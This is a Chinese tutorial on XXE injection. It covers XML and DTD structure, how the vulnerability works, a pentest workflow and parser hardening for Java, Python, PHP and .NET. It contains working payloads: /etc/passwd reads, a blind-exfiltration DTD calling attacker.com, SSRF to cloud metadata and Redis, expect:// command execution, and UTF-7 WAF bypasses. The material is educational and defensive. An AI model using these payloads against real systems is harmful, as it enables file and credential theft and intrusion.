1. 项目概述从XML到XEE一个被低估的“古老”威胁如果你做过渗透测试尤其是针对一些老旧的系统或者处理文档上传、数据交换的Web应用很可能在Burp Suite的扫描报告里见过“XML External Entity Injection”这个漏洞也就是我们常说的XEE或者XXE。乍一看它似乎没有SQL注入那么“直接”也没有RCE远程代码执行那么“致命”以至于很多新手甚至会觉得这是个低危漏洞扫出来也就随手记一下不会深究。但我要告诉你这种想法大错特错。XEE漏洞的威力远比想象中要强大和隐蔽它不仅能导致敏感信息泄露、服务器端请求伪造SSRF在特定条件下甚至能实现远程代码执行直接拿下服务器权限。这个漏洞的根源在于XML语言一个古老而强大的特性——外部实体External Entity。简单来说XML允许文档在解析时从外部来源如本地文件系统、远程URL动态引入数据。这本是为了方便模块化设计但在缺乏严格安全配置的XML解析器面前这就成了一扇向攻击者敞开的“后门”。攻击者可以构造恶意的XML数据诱使服务器解析器去读取本不该读取的系统文件如/etc/passwd或者发起对内部网络的请求探测内网服务。更危险的是在某些解析器如PHP的expect模块被启用时的配合下它能执行系统命令。为什么今天还要重点聊这个“老”漏洞因为现实很骨感。尽管XML在Web前端交互中被JSON大量取代但在后端系统间数据交换如SOAP协议、Office文档格式、配置文件、企业级应用集成、甚至一些新兴的物联网设备通信中XML依然扮演着核心角色。很多遗留系统、金融或政务行业的接口由于其稳定性和标准性依然重度依赖XML。这意味着XEE漏洞的潜在攻击面依然广泛且由于认知不足其危害常常被低估。本次更新我们就彻底拆解XEE从XML语言结构这个“地基”开始讲清原理、演示多种实战攻击手法并给出当前环境下真正有效的防御方案。2. XML语言结构精讲理解漏洞的土壤要理解XEE必须先理解XML。你不能指望在不认识“门”和“锁”的情况下去测试一扇门是否牢靠。XMLeXtensible Markup Language是一种标记语言设计用来传输和存储数据重点是它的“可扩展性”——你可以自己定义标签。它的结构和HTML类似但HTML是用来展示信息的标签是预定义的如p,div而XML是用来承载数据的标签完全由设计者自己决定。2.1 XML文档的核心组成部分一个典型的XML文档包含以下几个部分XML声明?xml version1.0 encodingUTF-8?。这定义了XML的版本和字符编码必须放在文档最开头。文档类型定义DTD这是XEE漏洞的“风暴眼”。DTD可以定义文档的合法结构、元素和属性。它可以直接内嵌在XML中内部DTD也可以从外部引用外部DTD。元素Elements由开始标签、内容和结束标签组成的基本数据单元。例如usernameadmin/username。属性Attributes提供关于元素的额外信息位于开始标签内。例如user id1Alice/user。实体Entities这是理解XEE的关键。实体类似于编程中的“变量”或“常量”用于定义引用一段文本或数据的快捷方式。XML预定义了5个字符实体如lt;代表。但更重要的是我们可以自定义实体。2.2 实体Entity的深度解析实体分为内部实体和外部实体。内部实体在DTD内部定义和引用。!DOCTYPE test [ !ENTITY company Acme Corp ] root namecompany;/name !-- 解析后此处会变成 nameAcme Corp/name -- /root这里company就是一个内部实体它被定义为字符串“Acme Corp”。在文档体中用company;来引用它。外部实体这才是XEE攻击的载体。外部实体允许从外部系统文件、URL加载数据。!DOCTYPE test [ !ENTITY extfile SYSTEM file:///etc/passwd ] root dataextfile;/data /root这里extfile被定义为一个外部实体其SYSTEM关键字指示解析器去获取file:///etc/passwd这个URI所指向的内容即本地系统的/etc/passwd文件并将其内容替换到extfile;的位置。关键点在于XML解析器在处理外部实体时默认行为就是去访问并加载指定的资源。如果攻击者能够控制或注入DTD定义他就能让服务器端的解析器去访问任意文件或网络资源。2.3 DTD的声明方式与漏洞入口DTD的声明位置决定了攻击的难易度内部DTDDTD直接写在XML文档内部。如果应用完全信任用户输入的XML并直接解析攻击者可以直接在提交的XML中插入恶意的DTD定义。外部DTD通过SYSTEM或PUBLIC关键字从外部引用DTD文件。这为攻击提供了另一种思路如果服务器能访问外部URL攻击者可以构造一个恶意DTD放在自己控制的服务器上然后在XML中引用它。这常用于绕过某些对内部实体长度的限制。一个危险的默认行为很多老的或配置不当的XML解析器如某些版本的Java SAXParser、PHP的simplexml_load_string默认配置等为了功能完整性默认是启用外部实体解析的。开发者如果没有安全意识直接使用这些默认配置处理用户可控的XML漏洞就产生了。实操心得在测试时不要只盯着明显的XML接口如/api/xml。留意任何接受数据上传、转换或配置的功能点比如文档转换服务、SOAP接口、RSS/Atom订阅源、SVG图片上传SVG本质是XML、Office文档.docx, .xlsx本质是ZIP包内的XML解析功能等。这些地方都可能隐藏着XML解析逻辑。3. XEE漏洞原理深度剖析攻击是如何发生的原理的核心一句话攻击者通过向应用程序注入恶意的外部实体定义操纵服务器端的XML解析器去访问非预期的系统资源或执行非预期的操作。让我们分解攻击链条入口点应用程序存在一个接收XML格式输入的功能点。这个输入可能来自HTTP请求的BodyPOST数据、URL参数、上传的文件头如Content-Type为text/xml甚至是经过包装的数据如JSON中的一个字段值是XML字符串。可控输入攻击者能够完全或部分控制这个XML输入的内容。例如一个更新用户信息的API接受如下的XMLuser id1/id nameAlice/name /user如果name标签的内容用户可控那就是部分可控如果整个XML结构用户都能定义那就是完全可控后者危害更大。解析器配置缺陷服务器后端用于处理这个XML的库或组件如libxml2, Java JAXP, .NET XmlDocument等被配置为解析DTD并处理外部实体。这是漏洞存在的必要条件。恶意负载注入攻击者在可控的XML输入中插入带有恶意外部实体定义的DTD。恶意解析与资源访问有缺陷的解析器在处理XML时会解析DTD遇到外部实体声明并尝试去获取SYSTEM关键字后指定的URI资源。结果输出或副作用攻击成功与否还取决于应用如何处理解析结果。有回显的XXE如果解析后的实体内容被包含在应用的响应如返回的XML、HTML或错误信息中攻击者可以直接看到读取的文件内容或HTTP请求的结果。这是最理想的情况。盲XXEBlind XXE如果应用没有直接回显攻击依然可能造成危害。例如可以通过外部实体触发对攻击者服务器的HTTP请求SSRF从而带出数据如将文件内容作为URL参数发送出来或者通过读取一个导致解析错误的大文件如/dev/random造成拒绝服务DoS。为什么这个漏洞危险权限高XML解析过程通常在应用服务器进程的上下文中执行这意味着它拥有应用程序访问文件系统和网络的权限。可以读取应用服务器上的配置文件、源代码、密码文件等。穿透性强利用file://协议可以读取本地文件利用http://或ftp://等协议可以发起网络请求这常常被用来进行服务器端请求伪造SSRF探测或攻击内网中其他无法从外网直接访问的服务如Redis, Consul等。可能升级为RCE在特定环境下如果服务器安装了某些危险的PHP模块如expect甚至可以通过!ENTITY xxe SYSTEM expect://id来执行命令。虽然这种环境现在较少但绝非不可能。4. 实战攻击手法全解析从信息泄露到SSRF理解了原理我们来看具体怎么打。假设我们找到了一个疑似存在XXE的端点http://vuln-app.com/api/parse它接受POST请求Content-Type为application/xml。4.1 基础文件读取有回显这是最简单的场景。我们提交以下XML?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd ] root contentxxe;/content /root攻击意图定义一个名为xxe的外部实体指向Linux系统的用户账户文件/etc/passwd。在content标签中引用这个实体。预期结果如果漏洞存在且解析器有权限服务器会将/etc/passwd文件的内容读出来并替换掉xxe;。应用程序在构造响应时可能会将这个content的值原样返回这样我们就能在HTTP响应中看到文件内容。Windows系统可以尝试读取file:///c:/windows/win.ini或file:///c:/windows/system32/drivers/etc/hosts。注意事项file://协议的行为可能因操作系统和解析器而异。Java在Windows上可能使用file:///c:/path而某些库可能需要file:///C|/path。需要根据目标环境进行测试。4.2 盲XXE无回显信息外带更多时候应用不会将读取的内容直接输出。这时我们需要利用“数据外带”技术。思路是让服务器解析我们的恶意XML触发两次请求。第一次服务器解析XML中的外部实体去读取我们指定的内部文件如/etc/passwd。第二次服务器需要解析另一个外部实体这个实体的定义指向我们攻击者控制的服务器并且将第一次读取到的文件内容作为URL的一部分或参数发送给我们的服务器。这通常需要利用参数实体和外部DTD。参数实体是专门用在DTD内部的实体以%开头。攻击步骤准备恶意DTD文件在攻击者服务器http://attacker.com/evil.dtd上放置以下内容!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil;%file;参数实体读取目标文件。%eval;参数实体动态创建一个新的实体%exfil;其SYSTEMURI中包含了%file;的内容作为参数。注意这里使用了HTML实体编码#x25;来表示%号以避免解析错误。%eval;和%exfil;被求值最终触发一个到http://attacker.com/?data[file content]的HTTP请求。注入指向恶意DTD的XML向目标应用发送以下XML?xml version1.0 encodingUTF-8? !DOCTYPE root SYSTEM http://attacker.com/evil.dtd root/root这个XML非常简单它只是通过SYSTEM关键字引用了我们放在外部的恶意DTD。接收数据监控攻击者服务器attacker.com的访问日志查看来自目标服务器的GET请求其URL参数data中就包含了/etc/passwd的文件内容。为什么能成功当目标服务器的XML解析器处理我们提交的XML时看到!DOCTYPE ... SYSTEM ...它会去加载并解析http://attacker.com/evil.dtd。解析这个外部DTD的过程就在目标服务器上执行了其中定义的实体从而完成了读取本地文件和向外发送数据的操作。实操心得盲XXE的利用成功与否高度依赖于目标服务器能否出网即能否发起对外部网络的HTTP/HTTPS请求。在实战中如果遇到不出网的内网系统盲XXE就很难直接外带数据但依然可能用于探测内网服务SSRF或造成DoS。4.3 利用XXE进行SSRF探测内网即使不为了读文件XXE本身就是一个强大的SSRF工具。因为外部实体支持http://、ftp://等协议。?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/ ] root contentxxe;/content /root攻击意图尝试访问AWS、阿里云等云服务器实例的元数据服务通常位于169.254.169.254。这个服务包含敏感信息如临时安全凭证Token获取后可能导致云服务器被接管。你可以将URL替换为任何你想探测的内网IP和端口例如http://192.168.1.1:8080/adminhttp://127.0.0.1:6379Redis通过响应时间、错误信息或返回内容来判断服务是否存在及类型。4.4 其他协议与高级利用除了file://和http://还可以尝试其他协议但取决于底层解析库如libxml2的支持情况ftp://从FTP服务器读取文件。php://filter仅限PHP环境这是一个非常强大的协议可以用于读取PHP文件源码即使应用没有文件读取功能。例如!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/var/www/html/index.php这里使用了php://filter的convert.base64-encode过滤器将index.php文件的内容进行Base64编码后读取。这样能避免XML解析器因为遇到PHP文件中的、等特殊字符而报错。在响应中得到Base64字符串后解码即可获得源代码。expect://仅限PHP且安装expect模块直接执行系统命令危害极大。5. 漏洞挖掘与渗透测试实战流程知道了手法在实战中如何系统地发现和验证XXE漏洞呢以下是一个标准的流程5.1 信息收集与目标识别寻找XML输入点显式接口查找API文档、URL路径中包含xml、feed、rss、soap、wsdl、rest注意有些REST也用XML等关键词的端点。使用Burp Suite爬虫或主动扫描。隐式接口文件上传功能尝试上传SVG、DOCX、XLSX、PPTX、XML等格式文件。任何数据导入、转换功能。HTTP请求中检查Content-Type是否为application/xml、text/xml。即使Content-Type是application/json也尝试将Body改为XML格式或者在某JSON字段值中插入XML需要后端确实用XML解析器处理该值。修改请求在Burp Suite中将任意POST请求的Content-Type改为application/xml并在Body中尝试提交简单的XML观察应用是否正常处理。5.2 漏洞探测与验证发现可疑点后进行测试初步探测提交一个包含无害外部实体指向一个公网可访问的URL的XML观察服务器行为。?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM http://your-burp-collaborator-domain ] testxxe;/test使用Burp Suite Professional的Collaborator功能生成一个唯一域名替换上面的URL。如果服务器解析了外部实体它会向这个域名发起HTTP/DNS请求Collaborator会收到通知从而确认漏洞存在。这是检测盲XXE最有效的方法。有回显测试如果上一步发现服务器出网或者接口本身有XML响应尝试读取一个确定存在的文件如Linux的/etc/hosts或Windows的C:\Windows\System32\drivers\etc\hosts。?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/hosts ] testxxe;/test观察响应中是否出现文件内容。协议与路径探测尝试不同的协议file://、http://、ftp://。尝试不同的文件路径常见配置文件/etc/passwd,/etc/shadow,web.config,appsettings.json、应用日志、源代码等。尝试目录遍历file:///etc/../../../../etc/passwd某些解析器支持。盲注利用验证如果初步探测Collaborator成功但无回显则按照4.2节的方法部署恶意DTD进行盲注数据外带测试。5.3 漏洞利用与深入确认漏洞后根据测试目标决定利用深度渗透测试/红队尝试读取敏感文件、进行SSRF探测内网、在PHP环境下尝试php://filter读源码、expect://执行命令如果环境允许。漏洞赏金/安全评估在证明危害后应立即停止避免对业务造成实际影响。读取一个无害但能证明漏洞存在的文件如/etc/hosts即可。5.4 绕过技巧现代应用和WAF可能会检测或阻止明显的XXE载荷。以下是一些绕过思路编码绕过对XML载荷中的关键字符如,,进行HTML编码、UTF-7编码等。?xml version1.0 encodingUTF-7? ADw-ACE-DOCTYPE rootAFs- ADw-ACE-ENTITY xxe SYSTEM ACI-file:///etc/passwdACI-AD4- AD4- ADw-rootAD4- ADw-dataAD4-ACY-xxeADs-ADw-/dataAD4- ADw-/rootAD4-使用非常规协议尝试php://filter、compress.zlib://等PHP专属协议针对PHP应用。引用外部DTD如4.2节所述将恶意DTD放在外部服务器XML本体只做引用可以绕过对内部DTD长度的限制或关键词检测。利用XML参数实体有些过滤器只检测通用实体xxe;但可能忽略DTD内部的参数实体%xxe;。可以尝试在DTD内进行嵌套和调用。修改Content-Type有时后端根据Content-Type: application/xml来启用XML解析器。尝试改为Content-Type: application/x-www-form-urlencoded但Body还是XML或者使用multipart/form-data看看后端是否仍然解析。常见问题与排查测试时服务器返回“内部错误”或500这可能是漏洞存在的迹象解析器尝试访问了不存在的文件或URL导致异常。对比提交正常XML和恶意XML的响应差异。读取文件返回空白或乱码可能是文件编码问题或者文件内容包含XML非法字符如、破坏了XML结构导致解析失败。尝试使用php://filter的Base64编码方式读取。Collaborator没收到请求可能服务器不出网或者解析器被配置为不解析外部实体。需要尝试其他方法如通过响应时间差异进行盲测Port Scan via XXE或者寻找有回显的利用点。6. 全面防御手法从开发到运维防御XXE必须采取多层次、纵深防御的策略核心原则是禁用或严格限制XML解析器处理外部实体的能力。6.1 开发层防御治本之策这是最有效的一环需要在代码层面配置XML解析器。1. 禁用外部实体和DTDJava (SAXParserFactory, DocumentBuilderFactory)DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); // 关键禁用外部实体 dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 或者如果必须使用DTD但禁用外部实体 dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); // 禁用外部DTD dbf.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);注意setFeature的调用顺序有时很重要优先设置disallow-doctype-decl。Java (DOM4J)SAXReader reader new SAXReader(); reader.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); reader.setFeature(http://xml.org/sax/features/external-general-entities, false); reader.setFeature(http://xml.org/sax/features/external-parameter-entities, false);Python (lxml)from lxml import etree # 最安全的解析方式默认禁用外部实体 parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue) tree etree.parse(xml_source, parser)resolve_entitiesFalse是关键。PHP (libxml)libxml_disable_entity_loader(true); $dom new DOMDocument(); $dom-loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);但在PHP 8.0以后libxml_disable_entity_loader()被移除了更推荐使用$dom new DOMDocument(); // 在加载XML前设置属性是更安全的方式如果环境支持 // 或者使用如下方式解析 $parser xml_parser_create(); // 但最根本的是确保PHP的libxml版本2.9并默认禁用实体加载。.NET (XmlDocument, XmlTextReader)XmlDocument xmlDoc new XmlDocument(); xmlDoc.XmlResolver null; // 关键将解析器设置为null xmlDoc.LoadXml(xmlString); // 或者使用 XmlReader 并配置安全设置 XmlReaderSettings settings new XmlReaderSettings(); settings.DtdProcessing DtdProcessing.Prohibit; // 禁止DTD处理 settings.XmlResolver null; // 禁用解析器 using (XmlReader reader XmlReader.Create(new StringReader(xmlString), settings)) { // ... }2. 使用更安全的替代方案如果业务只是需要简单的数据交换考虑使用JSON代替XML。如果必须使用XML考虑使用简化版的XML解析器或者只解析不处理DTD的模型。3. 输入验证与净化白名单过滤对用户输入的XML进行严格的模式验证XSD Schema。确保XML结构符合预期过滤掉任何DOCTYPE声明。但注意复杂的XSD本身也可能引入安全问题。黑名单过滤不推荐作为主要手段但可以作为补充。过滤掉XML中的!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等关键词。但绕过方法很多容易失效。6.2 运维与架构层防御及时更新库与组件确保使用的XML解析库如libxml2是最新版本。新版本通常会默认或更易于配置为安全模式。网络层限制在防火墙或主机层限制应用服务器向外发起非必要的网络请求出站流量。这可以缓解盲XXE数据外带和SSRF攻击。但无法防止读取本地文件。最小权限原则运行Web应用或服务的操作系统账户应遵循最小权限原则。即使攻击者通过XXE读取了文件也只能读取该账户权限下的文件无法触及关键系统文件。安全配置检查将XXE安全配置如上述代码片段纳入代码审计和安全扫描的检查清单中。6.3 自动化检测与响应SAST/IAST工具在开发阶段使用静态/交互式应用安全测试工具扫描代码中不安全的XML解析器配置。DAST工具在测试和生产环境使用动态应用安全测试工具如Burp Suite, OWASP ZAP进行自动化漏洞扫描它们内置了XXE测试用例。WAF/IPS规则部署Web应用防火墙或入侵防御系统配置规则以检测和拦截包含可疑DOCTYPE、ENTITY声明的请求。但同样这可能被绕过应作为纵深防御的一环而非唯一手段。7. 总结与持续关注XEE漏洞虽然原理“古老”但其威胁在现代应用架构中依然顽固存在。它像一把钥匙能打开从应用层直达服务器底层文件系统、内网的通道。防御的核心始终在于开发阶段正确配置XML解析器彻底禁用外部实体解析。在渗透测试中对于任何处理用户输入的功能点都要保持对XML的警惕。一个不起眼的文件上传功能或数据导入接口可能就是通往内网的捷径。测试时善用Burp Collaborator等工具进行盲测并深入理解不同语言、不同库的解析特性。最后安全是一个持续的过程。新的绕过技术、新的攻击面如基于XInclude的攻击、SVG中的XXE可能会不断出现。作为开发者和安全人员需要持续关注OWASP等安全组织的最新指南定期审计和更新相关组件才能将风险降至最低。记住默认不安全安全需要显式地配置。